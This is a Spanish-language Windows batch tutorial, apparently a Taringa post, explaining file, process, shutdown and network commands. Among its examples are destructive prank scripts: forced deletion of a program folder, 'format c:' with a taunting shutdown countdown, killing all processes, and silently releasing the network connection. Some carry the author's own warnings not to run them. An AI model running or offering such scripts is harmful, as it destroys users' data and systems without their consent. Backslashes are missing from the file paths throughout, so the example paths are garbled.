attrib +r +a +s +h *.txt attrib +r +a +s +h *.bat exit 5.B CD, DEL, RD y DIR DEL = Sirve para borrar archivos o directorios. Se recomiendo usar simepre el DEL. Despues del DEL se pueden agrgar las opciones /f(que significan que fuerza la eliminacion del archivo) y /q(que no pide confirmacion del usuario). RD o RMDIR = Elimina un directorio, /s para sacar subdirectorios, archivos, todo y /q para hacerlo de forma silenciosa, osea que no te aparescan mensajes como "ha sido borrado exitosamente". DIR = Te muestra los archivos y directorios de donde estas posicionado. Para que te los muestre con determinado orden agregamos /o y pegado a la o una N(nombre a>z), S(tamao 1>9), E(extencion a>z) y D(fecha, el mas antiguo primero. Si queremos por nombre pero en vez de que la "a" este primero y "z" ultimo, agregamos un "-" en el medio de la "o" y la letra, esto es lo mismo para los demas. No hago ejemplos de esto porque es bastante simple. CD o CHDIR = Cambia el directorio actual a uno nuevo(el directorio por defecto desde un archivo

.bat es la direccion del propio archivo). Si su batch esta en "C

ocuments and

Settingsuser_nameEscritoriobatchs" y quiere, por ejemplo, borrar un archivo de la carpeta del Winamp ponria: Ejemplo: 1) @echo off cd "C:Archivos de programaWinamp" del /f /q winamp.exe exit (NO RECOMINEDO QUE LO COPIEN Y LO CORRAN!!) 2) (o si quieren borrar todo lo que hay en el, inclusive el directorio) @echo off RD "C:Archivos de programaWinamp" /s /q 3) (Algunos archivos no se pueden borrar ya que estan protegidos para eso si quieren borrar todo del Winamp pondrian...) @echo off cd "C:Archivos de programaWinamp" attrib -r -a -s -h *.* del /f /q *.* 5.C Copiar, mover y renombrar COPY = Sirve para copiar archivos. Si el archivo existe pide confirmacion para el sobreescribirlo para evitar esto y sobreescribirlo ponemos la extencion /y. Tambien podemos unir archivos de texto con el simbolo "+". XCOPY = Para copiar directorios(carpetas). Le podemos agregar /E para que copie el directorio y subdirectorios tambien, /C para seguir copiando aun cuando ocurran errores, /h para que copie tambien archivos ocultos y del sistema y /y lo mismo que con el copy . Ejemplo: @echo off @echo off echo. copy "C:Juegosun algo.bat" "c:musicaotro algo.txt" /y copy "mira este.txt"+"y este otro.bat" vualaaa.txt xcopy "C:JuegosChupetinDeLimon1" "c:musicaChupetinDeLimon cuato?" /E /C /H /Y pause (Este copiaria el archivo "un algo.bat" a el directorio de musica con el nombre de "otro algo" y cambiandole la extension a .txt. El segundo copiaria las palabras que tienen adentro de los dos y ponerlas compretamente seguidas y el archivo que pusste primero priemro y el segundo despues en vualaaa.txt. El tercero copiaria wencha1 de ese directoria a musica con el nombre de "wencha cuanto?" con las caracteristicas ya explicadas) MOVE = Mueve archivos y tambien le cambia el nombre a directorios. Se usa el /y, ya explicado.

REN o RENAME = Para renombrar archivos. Ejemplo: @echo off move "c:hola.txt" "e:windows" /y move c:capoo c:quien ren "c:cuantas cosas locasmi batch.bat" hmmmm.bat ren "c:cuantas cosas locasmi batch2.bat" "aaa a a aa .bat" (El primero moveria hola.txt a alla, se entiende. El segundo le cambiaria el nombre a la carpeta capoo a quien. El tercero le cambia el nombre a "mi batch" a hmmmm, el segundo lo mismo con la excepcion de que como el nombre tiene espacion hay que poner comillas, eso es con todos los directorios, cadenas y archivos si hay espacion van comillas, sino no hacen falta.)

6. Comandos relacionados con el sitema

6.A Apagar/reiniciar y formatear el sistema

SHUTDOWN = Sirve para apagar/reiniciar el sitema y cerrar secion. /l para cerrar secion, /s para apagar y /r para reinicia (obviamente no podes los tres juntos...). Tambien estan -t para indicar dentro de cuanto, en segundos y predeterminadamente 30 segundos, -c "CADENA" (maxima extencion 127 caracteres) para agregarle un comentario a la ventana que te indica el tiempo y f para forzar el comando sin que te caguen los "no enviar" o errores que puedan frenar el comando. Y ultmo y vital por si lo usas y no sabe como sacarlo shutdown -a, asi solito, para cancelar un apgado/reiniciado/cerrar secion que este en curso. Este ventana que te aparece diciendo que se te apaga o lo que sea solo se puede sacar con el -a, es el unico metodo. FORMAT Disco = Seguramente lo habran visto en una pelicula o video o a alguien nombrar "format c:". Bueno para los que no sabes lo que hace es formatear, osea borrar completamente todo todo todo, de nu disco seleccionado. Disco puede ser c: o d: ponele o un usb que pongas cualquiera. Y la extencion /q para realisar un formateo rapido. Ejemplo: @echo off format c: shutdown /s -t 3600 -c "SUFRI MIENTRAS SE TE FORMATEAAAAA!!!" -f (NO VAYAN A COPIAR Y CORRER ESTO. Lo que hace es formatear el disco c: y te salta una ventana fija por una hora (3600 segundos) con el mensaje ese que cuando pase la hora se te va a apagar la compu. Para que se te apague instantaneamente tenes que poner -t 0 sino toma el predeterminado(30 secs)) 6.B Listado/eliminacion de procesos TASKLIST = Sirve para mostrar una lista de los procesos activos en el sistema y tiene muchas extenciones. Asi solito te va a mostrar el nombre, el PID(Process ID) y el uso de memoria en el momento. Con /m muestra ademas llos modulos DLL que usa cada tarea. Con /v ademas te mustra el nombre de usuario(tu usuario, SYSTEM, servicio local, servidio de red, etc.) y el estado (la

mayoria seguro "Activo"

. Con /svc te muestra los servicios que esta usando el proceso. Y ultimo

pero importante con /FI podes filtrar todo, los nombres de los procesos, el estado, los modulos, etc., poniendo eq o ne (Equal, NotEqual, igual, no igual). Los nombres en ingles son IMAGENAME para el nombre, STATUS para el estado, MODULES para los modulos, SERVICES para los servicios, y PID para el PID. TASKKILL = Terminar procesos atravez del nombre o el PID. Podes poner /IM o /PID, para referirte a ese proceso con el nombre o con el PID, que lo podes obtener con el Tasklist. Ademas si le agregas /f lo fuerza a cerrar y /tcierra ese y todos los secundario que se iniciaron en el. TSKILL = Simplemente termina un proceso. Dense cuanta que este es mas facil pero no tiene filtros ni las otras opciones. Ejemplo: @echo off tasklist /FI "IMAGENAME eq f*" (de ahi sacas el PID) taskkill /PID 1552 /f taskkill /IM msnmsgr.exe tskill explorer.exe taskkill /IM *.* /f (El primero te muestra todos los procesos que el IMAGENAME(nombre) empiecen con f. El segundo elimina el proceso con el PID 1552 forsosamente. El tercero te saca el msn. El anteultimo

te elimina el explorer, y el ultimo te elimina todos los procesos forzadamente

6.C Abrir cualquier cosa(aplicacion, pagina web, otro batch, etc.) START = Sirve para abrir cualquier cosa, desde una pagina web, hasta otro batch, hasta un .pdf. Para elejir de donde se abre el archivo(o lo que sea) ponemos /d seguido del directorio. /MIN y /MAX se usan para abrir la ventana minimizada o maximisada, respectivamente. Tambien podes hacer que se abra con diferentes prioridades, a mayor prioridad mayor sera el consumo de tu compu, pero andara mas rapido(solamente el programa lo demas mas lento si no te da la compu). Las prioridades son estas, de menor prioridad a mayor:/LOW(bajo), /BELOWNORMAL(debajo de lo normal), /NORMAL,/ABOVENORMAL(por ensima de lo normal),/HIGH(alto) y /REALTIME(tiempo real). Tambien podemos hacer que nuestro archivo batch se paralize hasta que lo que abrimos no se cierre, esto se logra ingresando /wait a nuestro comando. Tambien podemos abrir un archivo batch y pasarles parametros, esto se ve a fondo en el capitulo 9. Ejemplo: @echo off start /d "C:Batchesun batch loco.bat" /max /abovenormal start /d "C:Archivos de programaMozilla Firefox" firefox.exe /min /realtime start google.com start www.google.com /max (En el primero abriria un batch maximizado y con prioridad por encima de lo nomal. El segundo abriria el mozilla minimizado con altisima(maxima) prioridad, dense cuenta que es lo mismo poner el archivo dentro de las comilla o fuera de ellas. El tercero no nos andaria porque windows pensaria que es un archivo con extencion .com, para evitar esto tenemos que escribirle el "www", en caso de que no tenga pongale el "http://".)

7. Comandos de internet

7.A Informacion sobre conexiones a internet y liberacion/renovacion de estas IPCONFIG = Sirve para realisar diferentes acciones sobre su conexion, o obtener informacion sobre ella. Si lo pones asi solo te muestra tu direccion de IP, tu mascara de subred, tu puerta de enlace predeterminada y tu sufijo de conexion especifica DNS. Se le puede agregar /all y ahi te va a mostrar mucha mas informacion. Tambien /release y /renew, que libera tus conecciones y las renueva respectivamente. Para los que saben de DNS tambien pueden usar /displaydns que muestra el contenido de la cache de resolucion DNS. Ejemplo: @echo off echo Como te llamas? pause>nul ipconfig /release *con

cls echo jajaja que me importa tu nombre! echo ahora te quedas sin internet!!! pause (Aca en el comando de /release se lo aplicas a todas las conexiones que empiesen con "con" como "Conexion de area local" ajajaj". Dense cuenta que despues del pause hay un ">nul", lo que hace esto es que no se vea el "Presione una tecla para continuar...", se lo podes agregar a cualquier comando, si se lo pones por ejemplo a un copy, no te va a aparecer el "x archivo/s copiado/s". Muy util para trabajar en segundo plano jeje.) 7.B Pingear PING = Sirve para hacer uno o mas pings a una pagina web, direccion IP o una compu de la red local. Se le agrega -n x para que pingee x veces la direccion. Si queres que sea infinitamente hasta que vos lo pares(apretando ctrl+c) usa -t, y si queres ver las estadisticas y seguir con el pingeo es ctrl+inter. Podes usar /l xpara aumentar el tamao de los paquetes que predeterminadamente esta en 32(todo en bytes). Tambien podes cambiarle el TTL(TimeToLive, tiempo de vida) de los paquetes, de 1 a 255, predeterminadamente 128, con el sufijo-i x. Ejemplo: 1) @echo off ping -n 7 /l 510 -i 150 google.com ping -n 7 /l 510 -i 150 66.59.120.1 pause 2) @echo off echo hola! ping -n 4 localhost >nul echo como estas? pause echo chupala exit (En el dos, como explique antes, le agregue el ">nul" lo qe causa que haga el preceso de pingeo oculto, generando un retraso entre que aparece "el hola!" y el "como estas?".) 7.C Estadisticas de conexiones actuales a internet NETSTAT = Se usa para ver una lista de conexiones. Si lo pones solo te muestra los protocolos, direccion local, direccion remota y el estado, en forma de tabla(igual que el tasklist pero en vez de procesos conexiones). Se puede usar -a para que ademas de las conecciones TCP muestra las del protocolo UDP. -b, muy util, muestra el ejecutable de donde la conexion se inicia, a esta extencion ademas se le puede agregar /v(solo utilizable con -b antes) para ver los modulos DLL que usa la conexion. Con -n en vez de que en la columna "Direccion Remota" te aparesca cosas como

"eze03s01-in-f19.google.com:https" te aparescan en formato de IP

uerto, en este caso

209.85195.19:443 (este es un ejemplo propio, prueben ustedes para entenderlo bien). Con -o, ademas muestra el PID(ProcessID, ID del proceso) de cada conexion, pueden utilizar el taskkill /PID x para eliminar las conexiones por ejemplo. Por ultimo /s muestra las estadisticas(paquetes enviados, paquetes recibidos descartados/procesados, activos/pasivos abiertos, etc.) por protocolo; IPv4, ICMPv4, TCP/UDP para IPv4. Ejemplo: @echo off netstat netstat /b /v netstat /a /b netstat /a /b /o netstat /b /n netstat /a /b /n /o /v netstat /a /n /o /s (Todos darian informacion distinta, el anteultimo daria la maxima informacion sobre cada conexion, y el ultimo solamente rescataria el /s ya que ese se usa para listar entonces te va a listar las estadisticas y los otros son como nada.)

8. Tunea tu batch

8.A Encuadrados Hay ciertos caracteres que al escribirlos en el notepad vemos algo y despues corremos el batch y son otra cosa. Bueno algunos de esos caracteres se puede usar para hacer encuadrados o dibujos con un simple batch. Aca hay un ejemplo de los dos tipos de encuadrado que hay en batch. REMPLAZA LOS "_" POR ESPACIOS, " " Ejemplo: @echo off title ChupetinDeLimon color 0a echo. echo echo __________________ echo _ChupetinDeLimon___ echo __________________ echo echo. echo echo __________________ echo __ChupetinDeLimon_

echo __________________ echo pause>nul

8.B Tamao de la ventana Hay muchas veces que cuando haces un batch deseas que la ventana tenga mas o menos lineas(para abajo) o columnas(para la derecha). Ingreando @mode con cols=X1 lines=X2 podemos setear esto, donde X1 es el ancho y X2 es el alto. El tamao predeterminado es columnas 82 y lineas 25. Tambien vale decir que al ingresa el @mode... ademas de cambiar las dimensiones hace la funcion de "cls", osea que limpia la pantalla, borra todo lo que estaba antes. Ejemplo: @echo off :ini set/p ancho=Ingresa el ancho set/p alto=Ahora el alto @mode con cols=%ancho% lines=%alto% echo Ancho actual: %ancho% echo Alto actual: %alto% echo. goto ini

8.C Todos los caracteres que existen Bueno aca les dejo una lista completa de todos los caracteres que se pueden ingresar en batch. En el notepad muchos aparecen como cuadraditos pero al correrlos en batch aparece la imagen. Por eso deje numueros por linea asi sabes cual de todos los cuadraditos es. Ejemplo: @echo off echo 1

echo BEEP echo 2

echo 3 echo 4 ! " # $ %% ^& ' ( echo 5 ) * + , - . / 0 1 2 echo 6 3 4 5 6 7 8 9 : ; ^< echo 7 = ^> ? @ A B C D E F echo 9 G H I J K L M N O P echo 10 Q R S T U V W X Y Z

echo 11 [ ] ^ _ ` a b c d (para poner el ^, hay que poner dos seguidos. No lo pongo sino sale

echo 12 e f g h i j k l m n echo 13 o p q r s t u v w x echo 14 y z { ^| } ~ echo 15 echo 16 echo 17 echo 18 echo 19 echo 20 echo 21 echo 22 echo 23 echo 24 echo 25 echo 26 echo 27 pause>nul

9. Scripts ultiles
9.A Uso de argumentos Imaginense que quieren un script que le pasen dos numeros y un operador(+ - * /) y haga la cuenta. Esto tranquilamente lo podrian hacer mas facil de otras maneras, pero es un ejemplo que demuestra perfectamente como hacer scripts. Imaginense que ponen el codigo que viene en "c:mis batchprimer script.bat". Vamos al Command Prompt y ponemos "start "c:mis batchprimer scirpt.bat "80 / 5". Ahi le estamos diciendo que le pase "80", "/", y "5", como los parametros %1, %2 y %3, respectivamente. El .bat deberia tener el siguiente codigo(los comentario en un batch se escriben despues de dos ":" seguidos, tambien pueden escribir REM comentario, pero si en el comentario pones caracteres reservados se produce un error, de la otra manera no): Ejemplo: @echo off if %1==0 goto error set a=0 if %2 NEQ + set/a a=a+1 if %2 NEQ - set/a a=a+1 if %2 NEQ / set/a a=a+1 if %2 NEQ * set/a a=a+1 if %a%==4 goto error if %3==0 goto error :inicio set num1=%1 set operacion=%2

set num2=%3 pause set/a resultado= num1 %operacion% num2 echo %resultado% pause>nul exit :error echo Error, el primer temino debe ser unicamente "+" "-" "*" o "/". echo Los otros dos deben ser numeros mayores a 0. pause>nul exit Muy bien. Ahora pruebenlo. Como podran ver su batch toma los parametros que pusieron despues del batch y los asigna en varible con numeros(%1, %2...), la variable %0 seria el batch, en este caso %0=primer script.bat. Al principio comprueba que el %1 argumento/parametro sea un numero mayor a 0(las letras y otros caracteres toman el valor de 0), lo mismo con el %3. Con el %2 comprobamos que sea un operador de esos cuatro. Si no es ninguno la variable "a" va a tener el valor de 4 haciendo que vallan a error. La solapa "error" esta al final, por eso es muy importante poner el comando "exit" en la solapa "inicio", si no lo pusieramos la compu seguiria leyendo el codigo e iria a la sola "error" que es la que le sigue. Podemos hacer muchas cosas con esto, por ejemplo copiar archivos: Ejemplo: @echo off copy %1 %2 /y >nul exit Imaginate que el script esta en "C:Mis scriptssegundo scipt.bat" escribimos en el Command Prompt(Incio>> ejecutar>> cmd): start /d "C:Mis scripts" "segundo script.bat" "c:archivosdocumento a copiar.pdf" "c:mis archivos nuevosdocumento copiado.pdf" Al principio parece complicado de entender pero si lo analizas bien te das cuenta que despues del "/d" va el directorio del programa a correr, despues el nombre del programa, y despues los argumentos a pasar. Imaginense la cantidad de cosas que pueden hacer con esto! 9.B Numeros aleatorios Algunas veces nosotros presisamos usar numeros aleatorios. Como ya explique en el capitulo de las variables que tiene windows, hay una variable, %RANDOM%, que nos devuelve un numero entre 0 y 32767(esto significa que es un numero de tipo entero(integer) que tiene ese rango, los byte tienen hasta 255 y los long hasta 2millones algo creo). Pero yo quiero, por ejemplo entre 0 y 10. Uno normalmente podria hacer algo como esto: Ejemplo:

@echo off :inicio set/a numero=%RANDOM% if %numero% GTR 10 goto inicio echo %numero% pause>nul Esto, claro, funcionario pero, pensa que necesitamos un numero de 1 a 10 y el %RANDOM% llega a 32767, tardaria mucho en tocar. Para evitar esto vamos a la calculadora y, pongamos que queremos de 0 a 10, hacemos 32767(el mayor numero del %RANDOM%) y lo dividimos por el mayor numero que queremos tener(en este caso 10) y le sumamos 1. 32767 / 11 = 2978,82. Ahora a este resultado(2978) le sumamos 1, llegando a 2979. Si dividimos 32767 por 2979 es igual a = 10,999328633769721383014434373951, osea casi 11, pero en batch no hay comas y no redondea sino que se queda con el numero antes de la coma(10 en este caso). Ahora vamos a nuestro codigo y agregamos lo siguiente(y sacamos algo): Ejemplo: @echo off :inicio set/a numero=%RANDOM% / 2979 ::Obteniendo un valo maximo de 10.999(en batch si hay decimales los saca, osea 10.01 y .99 es igual a 10) echo %numero% pause>nul De esta manera el numero es istantaneo, pero a diferencia de la otra manera hay un 0,0001%

menos probabilidad que salga 10 que otro numero

, que cagada no?

Si alguien no entendio la logica de este algoritmo preguntenme. Despues de un rato pensando en un algoritmo general para no tener que hacer las cuentas todo el tiempo, aca les un codigo para sacar cualquier rango de numeros, entre 0 y 1000 o 5623 y 7544: Ejemplo: @echo off set/p rang_men=Rango menor= set/p rang_may=Rango mayor= :inicio1 cls set contador=0 echo De %rang_men% a %rang_may% puede tocar estos numeros: :inicio2 set/a numero1= ( 32767 / ( (rang_may - rang_men) +1) ) - 1 set/a numero_final= ( %RANDOM% / numero1 ) + rang_men echo %numero_final% set/a contador= contador + 1 ping localhost -n2 >nul if %contador%==20 goto inicio1 goto inicio2

Otra forma mucho mas simple,set/a n=%RANDOM%%10+0. En este caso saldria un numero entre 9 y 0. 2 cosas a tener en cuenta son que primero si o si va el numero mas grande y que el limite del numero aleatorio va a ser igual al numero que pongas vos menos 1.

Esto es todo... Dudas amenazas de muerte o lo que sea, comentario o mp

SI TE GUSTO RECOMENDALO DALE Tags


aprende programar taringa chupetindelimon

Das könnte Ihnen auch gefallen